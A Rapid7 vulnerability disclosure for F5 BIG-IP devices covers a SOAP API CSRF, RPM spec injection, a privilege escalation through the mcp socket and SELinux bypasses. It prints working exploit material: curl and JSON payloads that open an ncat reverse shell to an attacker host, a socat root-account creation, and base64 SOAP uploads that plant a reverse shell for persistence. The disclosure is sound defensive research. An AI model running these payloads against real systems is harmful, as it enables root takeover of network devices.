Last updated at Wed, 27 Dec 2023 14:49:46 GMT

Rapid7 discovered several vulnerabilities and exposures in F5 BIG-IP and BIG-IQ devices running a customized distribution of CentOS detailed in F5's Base Operating Systems support article. The affected products are detailed in the vendor advisories below:

Rapid7 also discovered several bypasses of security controls that F5 does not consider vulnerabilities with a reasonable attack surface (K05403841):

  • ID1145045 - Local privilege escalation via bad UNIX socket permissions (CWE-269)
  • ID1144093 - SELinux bypass via incorrect file context (CWE-732)
  • ID1144057 - SELinux bypass via command injection in an update script (CWE-78)

Note: the presence of SELinux hardening on F5 devices is an excellent safeguard that made our exploitation attempts more difficult.

Rapid7 initially reported these vulnerabilities to F5 on August 18, 2022. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.

Product description

Several F5 products, namely in the BIG-IP family of traffic-shaping devices, are affected by the vulnerabilities. These devices and applications are typically exposed to the internet for normal functionality, but the management ports where these vulnerabilities occur are typically internal-facing.

For more information on the affected products, see the vendor's advisory, and the vendor's product website.

Impact

We believe that widespread exploitation of the issues in this disclosure is unlikely. That being said, by successfully exploiting the worst of the vulnerabilities (CVE-2022-41622), an attacker could gain persistent root access to the device's management interface (even if the management interface is not internet-facing). However, that would require a confluence of factors to actually be exploitable (an administrator with an active session would need to visit a hostile website, and an attacker would have to have some knowledge of the target network).

Most of the remaining vulnerabilities are relatively minor, and require the attacker to already have some level of access to the target device. They are more likely to be leveraged as part of an exploit chain to exacerbate more serious vulnerabilities.

At time of publishing, F5 was not aware of any exploitation of these vulnerabilities.

Credit

These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

F5 is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Exploitation

CVE-2022-41622 - Unauthenticated Remote Code Execution in SOAP API via CSRF

F5 Big-IP's SOAP API (the endpoint /iControl/iControlPortal.cgi) does not have cross-site request forgery (CSRF) protection, nor does it require a correct Content-Type or other typical SOAP API protections. Consequently, if a user (who is authenticated to an F5 Big-IP device) visits an attacker-controlled website (or is redirected there via an open redirect or cross-site scripting), an attacker can run arbitrary SOAP commands against the F5 Big-IP SOAP API in the authenticated user's session. That could lead to remote code execution in several different ways, which we demonstrated in a proof of concept.

Note: several of the exploit paths require SELinux bypasses, which we have detailed below.

The API endpoint for SOAP requests, iControlPortal.cgi, which is accessible at /iControl/iControlPortal.cgi, is a CGI script that is SetUID root — that is, it executes as root:

ls -l /usr/local/www/iControl/iControlPortal.cgi
-rwsr-xr-x. 1 root root 2931172 Jul 15 01:13 /usr/local/www/iControl/iControlPortal.cgi

The script authenticates the user via HTTP Basic authentication and accepts XML SOAP requests. The XML API is quite complex with many different API endpoints available to use. We chose the upload_file and create_user_3 endpoints as examples in our PoC, because they demonstrate the impact of the exploit concisely. We didn't find a way to immediately run code on the target host, but our investigation did not include every possible API endpoint.

The PoC README.md file has full details on the payloads we tested and how to use them to execute arbitrary code at reboot or login.

CVE-2022-41800 - Authenticated Remote Code Execution via RPM Spec Injection

F5 Big-IP's JSON API includes an administrator-only endpoint that creates an RPM specification file (.rpmspec). That file is consumed by another administrator-only endpoint to create an RPM file. Both endpoints are vulnerable to injection attacks into the RPM spec file, where additional fields could be added to the spec using newlines. Notably, an attacker could add executable shell commands that run when the resultant RPM file is created. This would give authenticated administrators (who may be malicious insiders, users of compromised accounts, etc) the ability to run shell commands using an endpoint that is not designed or documented as having that functionality.

Although F5 considered this noteworthy enough to assign CVE-2022-41800, we consider the risk of this vulnerability to be low. While the results are surprising, this exploit requires an administrator login, and other endpoints (such as /mgmt/tm/util/bash) that are capable of executing shell commands by-design. That said, this technique can bypass blocklists or alerts that an administrator might set up for the well known bash endpoint.

To demonstrate the vulnerability, we developed this JSON payload:

json
{
  "specFileData": {
    "name": "test",
    "srcBasePath": "/tmp",
    "version": "test6",
    "release": "test7",
    "description": "test8\n\n%check\nncat -e /bin/bash 10.0.0.179 4444",
    "summary": "test9"
  }
}

Note the newlines and %check in the description field, which according to the documentation is typically used to run tests. We sent that JSON as part of an authenticated request to /rpm-spec-creator:

$ curl -sk -uadmin:Password1 -H "Content-Type: application/json" -X POST https://10.0.0.162/mgmt/shared/iapp/rpm-spec-creator --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nncat -e /bin/bash 10.0.0.179 4444", "summary": "test9"}}'
{"specFileData":{"name":"test","srcBasePath":"/tmp","version":"test6","release":"test7","description":"test8\n\n%check\nncat -e /bin/bash 10.0.0.179 4444","summary":"test9","user":"restnoded","group":"restnoded"},"specFilePath":"/var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec"}

The server responds with a specFilePath containing the spec we created. Here's what the file looks like on the file system:

$ ssh root@10.0.0.162 cat /var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec
Summary: test9
Name: test
Version: test6
Release: test7
BuildArch: noarch
Group: Development/Libraries
License: Commercial Packager: 
F5 Networks <support@f5.com>

%description
test8

%check
n.cat -e /bin/bash 10.0.0.179 4444

[...]

We start our listener on the host/port specified in the ncat command:

$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

And build the RPM with /build-package (using jq to format the output):

sh
$ curl -X POST -sku admin:Password1 https://10.0.0.162/mgmt/shared/iapp/build-package --data '{"state": {}, "appName": 
"test", "packageDirectory": "/tmp", "specFile
Path": "/var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec", "force": true }' | jq

{
  "step": "RUN_BUILD_RPM_TASK",
  "packageDirectory": "/tmp",
  "appName": "test",
  "specFilePath": "/var/config/rest/node/tmp/e1816b74-cb67-4c96-b4f0-4be45b0f61a5.spec",
  "force": true,
  "rpmDescription": "Default exported iApp description.",
  "rpmSummary": "Default exported iApp summary.",
  "isSpecFileToCleanUp": false,
  "id": "5de02c7f-ac65-4fa0-8c2b-b541967ce578",
  "status": "CREATED",
  "userReference": {
  "link": "https://localhost/mgmt/shared/authz/users/admin"
},
"identityReferences": [
{
"link": "https://localhost/mgmt/shared/authz/users/admin"
}
],
"ownerMachineId": "97163127-c56e-456c-af33-752dec349873",
"generation": 1,
"lastUpdateMicros": 1666214391730921,
"kind": "shared:iapp:build-package:buildrpmtaskstate",
"selfLink": "https://localhost/mgmt/shared/iapp/build-package/5de02c7f-ac65-4fa0-8c2b-b541967ce578"
}

Then, we verify that we get a root in shell on our listener:

$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:58068.

whoami
root

ID1145045 - Local Privilege Escalation via UNIX Socket Permissions

F5 uses a proprietary database called mcp, which is used for persistent storage on Big-IP (and related) devices. The database is owned by root and accessed via a UNIX domain socket with 0777 permissions (accessible by all local users) and no authentication:

# ls -l /var/run/mcp 
srwxrwxrwx. 1 root root 0 Oct 19 14:12 /var/run/mcp

We can connect to it and perform queries using socat, which is (helpfully) installed by default.

As part of our research, we fully documented the protocol, including writing a tool that can parse queries, create arbitrary queries, and remotely eavesdrop on traffic via an authenticated SSH connection. While the list of supported object types is extensive, we targeted the user-management code since our goal was security bypasses.

We developed a script called mcp-privesc.rb, which is also included in that repository. The script creates a root-level account when its output is sent to that socket, as well as a pre-built escalationplz.bin payload that creates a rontest / Password1 account when sent to the socket.

Here's how we used the tool to create a message. Note: it was gzipped it for size reasons, then base64-encoded so we could copy/paste more easily. Output is truncated for the blog, but the full text is included in the README.md file in the repository:

$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9L[...]1
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin

H4s[...]A==

Then, from a non-root account, we send the message to the socket and verify the account exists:

$ whoami
apache

$ echo -ne 'H4s[...]A==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==

bash-4.2$ su blogtest
Password: 
[...]

[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root

F5 claims this is not a vulnerability, because, by design, all users that log in are already root (and it's true that the overwhelming amount of Big-IP's attack surface runs as root already). However, several network services—including Apache, Tomcat, and Bind—listen on network ports and link to custom modules written in C/C++. If a vulnerability is discovered in any of those non-root services, a privilege escalation exploit path directly to root removes the small amount of privilege separation that exists.

ID1144093 - SELinux Bypass via Incorrect File Context

After finding an arbitrary file write SOAP endpoint, we found that SELinux limited our ability to actually exploit the issue. Despite the SOAP endpoint (iControlPortal.cgi) being set-UID root, and therefore executing as a privileged process, it could not create or overwrite sensitive files due to being part of a restricted SELinux context. That means that we couldn't use obvious attack paths like adding a script to /etc/profile.d or replacing /var/ssh/root/authorized_keys.

We did, however, find exactly one file in /etc/profile.d that was writable from the SOAP process due to it being a symbolic link to another location:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

# ls -l /var/run/config/timeout.sh 
-r--r--r--. 1 root root 303 Oct 19 15:40 /var/run/config/timeout.sh

If we replace /var/run/config/timeout.sh with our own script via the SOAP interface, which we can (despite the file itself not having write permission), it will execute next time a user logs in via SSH and /etc/profile.d scripts execute. We use that file as a target in our SOAP exploit proof of concept:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

F5 argues that this is not a vulnerability, because it requires a different vulnerability to exist before it can be leveraged (as we demonstrated with CVE-2022-41622 above). As a result, it was not assigned a CVE. However, Rapid7 considers this a vulnerability because it bypasses a security boundary —namely, SELinux. Without these SELinux bypasses, turning an arbitrary file write into code execution would be difficult, since most files an attacker would typically create or replace to exploit a file-write vulnerability (such as adding a script to /etc/profile.d) are blocked.

ID1144057 - SELinux bypass via Command Injection in Startup Script

The script /bin/f5_update_checker, which is executed at boot, is vulnerable to command injection in its configuration file (/shared/f5_update_action). Several strings in the file are passed directly into shell commands, where arbitrary bash commands can be injected using backticks, semicolons, or any other typical CWE-78 technique.

This one is interesting, because we found it quite early in our research but didn’t recognize its significance until much later. During our initial analysis, f5_update_checker caught our eye because it runs at boot, performs some sort of nebulous update check (ironically, update mechanisms are a common source of security vulnerabilities), and is a 32-bit ELF binary written in C++. Additionally, running strings showed that it uses curl insecurely, with -k:

# strings $(which f5_update_checker)
[...]
curl -g -k -m 30 -s -f -o /dev/null 

When f5_update_checker starts, it loads and parses a configuration file called /shared/f5_update_action, which doesn't exist by default. In fact, as far as we can tell, absolutely nothing else on the entire operating system is aware of /shared/f5_update_action! Out of curiosity, we reverse engineered the file format from the binary, since the process won't start without a valid (enough) file, and found it's line-based and looks something like:

AAA
http://localhost:1234/success
http://localhost:1234/failure
0
0
0
0

The URLs are passed directly into curl with no escaping (not even quotes, in fact), so we can add in arbitrary commands however we like:

AAA
http://localhost:1234/success`touch /tmp/testshellinjection`
http://localhost:1234/failure
0
0
0
0

At the next reboot, f5_update_checker will execute, load the configuration file, pause for two minutes (by design), then execute the command.

At that point, we shelved this as not interesting with the note:

f5_update_checker consumes a file /shared/f5_update_action and grabs a URL from it. That leads to a bunch of problems - shell injection, SSRF, etc. But nothing seems to use any of this, so I guess it's all a dud

Much later, we found the SOAP bypass discussed above, but lamented that while we could upload a file to anywhere on the filesystem as root, we couldn't overwrite anything of value due to SELinux policies! After thinking for way too long, we remembered the seemingly innocuous vulnerability that we'd found a month earlier, recalled that it references a non-extant file, and tested it with SOAP. Sure enough, it worked!

Here is an example of a SOAP request that will plant a malicious /shared/f5_update_action file:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

This is an interesting case in which a low-risk vulnerability can actually be meaningfully leveraged, in the right context. Specifically, we found a way to bypass SELinux and create some sneaky persistence.

As with some of the other issues documented here, F5 does not consider this to be a vulnerability and did not assign it a CVE (but do plan to fix it). Rapid7 disagrees with their assessment because SELinux is a security boundary, and bypassing SELinux is a security issue. We'd normally consider this to be a very low-risk vulnerability, but because we used it as part of the exploit chain to turn CVE-2022-41622 into code execution, we believe it is important.

Remediation

F5 has provided the following remediation advice:

F5 recommends customers review the security advisories published for these issues and evaluate their risk. Engineering hotfixes are available on request for both CVEs, and fixes for all of the issues will be included in future releases.

The known exploitation methods for CVE-2022-41622 require the attacker to know the address for a particular BIG-IP and successfully enact a Cross-Site Request Forgery against an administrator who is using the same browser to browse the web as well as manage their BIG-IP. Normal anti-CSRF techniques will prevent this exploit from succeeding; see K94221585 for more details.

The known exploitation methods for CVE-2022-41800 require that an attacker be authenticated as a valid user with Resource Admin or greater privileges. Therefore, the impact is limited to those customers running with Appliance Mode enabled; see K12815 for more information on Appliance Mode.

Timeline

  • July, 2022: Issues identified by Rapid7 researcher Ron Bowes
  • Thu, Aug 18, 2022: Privately disclosed findings to F5 PSIRT per Rapid7's CVD policy
  • Aug-Sep, 2022: Discussion and clarification about the issues with F5
  • Thu, Sep 8, 2022: Extension on vulnerability disclosure date requested, offered Nov 17, 2022
  • Fri, Sep 30, 2022: CVE-2022-41622 and CVE-2022-41800 reserved by F5
  • Wed, Oct 5, 2022: Disclosure date moved to Wed, Nov 16, 2022
  • Wed, Nov 16, 2022: This public disclosure

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2022-41622 and CVE-2022-41800 with authenticated vulnerability checks for BIG-IP, expected to be available in the November 16, 2022 content release.